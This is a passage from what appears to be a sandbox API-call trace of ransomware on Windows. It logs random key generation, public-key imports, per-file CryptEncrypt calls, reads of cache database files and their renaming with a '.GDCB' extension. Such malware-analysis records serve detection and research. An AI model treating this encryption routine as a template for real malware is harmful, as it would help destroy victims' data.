pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5ce0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.966] GetLastError () returned 0x0 [0185.966] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0185.966] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0185.969] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f158) returned 1 [0185.969] CryptGetKeyParam (in: hKey=0x4f7f158, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.969] CryptEncrypt (in: hKey=0x4f7f158, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5cf0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5cf0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0185.969] GetLastError () returned 0x0 [0185.969] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.969] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\cversions.1.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0185.971] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5d00000 [0185.972] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5d10000 [0185.973] ReadFile (in: hFile=0x514, lpBuffer=0x5d10000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5d10000*, lpNumberOfBytesRead=0x285d3e8*=0x4000, lpOverlapped=0x0) returned 1 [0185.982] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x5e20000 [0185.986] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\cversions.1.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\cversions.1.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\cversions.1.db.gdcb")) returned 1 [0185.992] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0185.993] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.994] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.994] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.994] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0185.994] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0185.996] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.997] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.997] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.997] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.997] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0185.999] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7ed98) returned 1 [0185.999] CryptGetKeyParam (in: hKey=0x4f7ed98, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.999] CryptEncrypt (in: hKey=0x4f7ed98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ce0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5ce0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.999] GetLastError () returned 0x0 [0185.999] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.999] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.001] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f358) returned 1 [0186.001] CryptGetKeyParam (in: hKey=0x4f7f358, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.001] CryptEncrypt (in: hKey=0x4f7f358, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5cf0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5cf0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.002] GetLastError () returned 0x0 [0186.002] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.002] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\cversions.3.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\cversions.3.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0186.004] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5d00000 [0186.005] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5d10000 [0186.006] ReadFile (in: hFile=0x514, lpBuffer=0x5d10000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5d10000*, lpNumberOfBytesRead=0x285d3e8*=0x4000, lpOverlapped=0x0) returned 1 [0186.015] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x5e20000 [0186.020] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\cversions.3.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\cversions.3.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\cversions.3.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\cversions.3.db.gdcb")) returned 1 [0186.023] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.024] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.025] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.025] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.025] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.025] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0186.026] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.027] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.027] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.027] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0186.027] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0186.029] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f2d8) returned 1 [0186.029] CryptGetKeyParam (in: hKey=0x4f7f2d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.030] CryptEncrypt (in: hKey=0x4f7f2d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ce0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5ce0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.030] GetLastError () returned 0x0 [0186.030] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0186.030] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0186.032] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f4d8) returned 1 [0186.032] CryptGetKeyParam (in: hKey=0x4f7f4d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.032] CryptEncrypt (in: hKey=0x4f7f4d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5cf0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5cf0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.032] GetLastError () returned 0x0 [0186.032] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0186.032] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{2546D910-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{2546d910-b905-4d30-88c9-b63c603da134}.3.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.032] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0186.034] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.034] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.034] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.034] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0186.034] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.035] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.036] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.036] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.036] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.036] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0186.039] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7edd8) returned 1 [0186.039] CryptGetKeyParam (in: hKey=0x4f7edd8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.039] CryptEncrypt (in: hKey=0x4f7edd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5d00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5d00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.039] GetLastError () returned 0x0 [0186.039] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.039] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0186.041] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7ee18) returned 1 [0186.041] CryptGetKeyParam (in: hKey=0x4f7ee18, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.041] CryptEncrypt (in: hKey=0x4f7ee18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5d10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5d10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.041] GetLastError () returned 0x0 [0186.041] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.041] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000033.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000033.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.042] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.043] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.044] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.044] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.044] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.044] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0186.045] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.046] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.046] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.046] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.046] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0186.048] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7efd8) returned 1 [0186.048] CryptGetKeyParam (in: hKey=0x4f7efd8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.048] CryptEncrypt (in: hKey=0x4f7efd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5d20000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5d20000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.049] GetLastError () returned 0x0 [0186.049] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.049] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0186.050] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f198) returned 1 [0186.050] CryptGetKeyParam (in: hKey=0x4f7f198, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.050] CryptEncrypt (in: hKey=0x4f7f198, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5d30000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5d30000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.051] GetLastError () returned 0x0 [0186.051] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0186.051] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000034.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000034.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.051] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.052] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.053] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.053] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.053] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.053] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.054] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.055] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.055] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.055] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.055] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0186.057] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f258) returned 1 [0186.057] CryptGetKeyParam (in: hKey=0x4f7f258, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.057] CryptEncrypt (in: hKey=0x4f7f258, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5d40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5d40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.058] GetLastError () returned 0x0 [0186.058] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.058] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0186.060] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f1d8) returned 1 [0186.060] CryptGetKeyParam (in: hKey=0x4f7f1d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.060] CryptEncrypt (in: hKey=0x4f7f1d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5d50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5d50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.060] GetLastError () returned 0x0 [0186.060] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.060] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000035.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000035.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.060] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0186.062] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.062] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.062] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.062] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.062] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.063] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.064] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.064] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.064] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.064] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0186.066] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f418) returned 1 [0186.066] CryptGetKeyParam (in: hKey=0x4f7f418, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.066] CryptEncrypt (in: hKey=0x4f7f418, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5d60000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5d60000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.067] GetLastError () returned 0x0 [0186.067] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.067] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0186.068] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7ee58) returned 1 [0186.068] CryptGetKeyParam (in: hKey=0x4f7ee58, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.069] CryptEncrypt (in: hKey=0x4f7ee58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5d70000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5d70000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.069] GetLastError () returned 0x0 [0186.069] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.069] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000012.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application 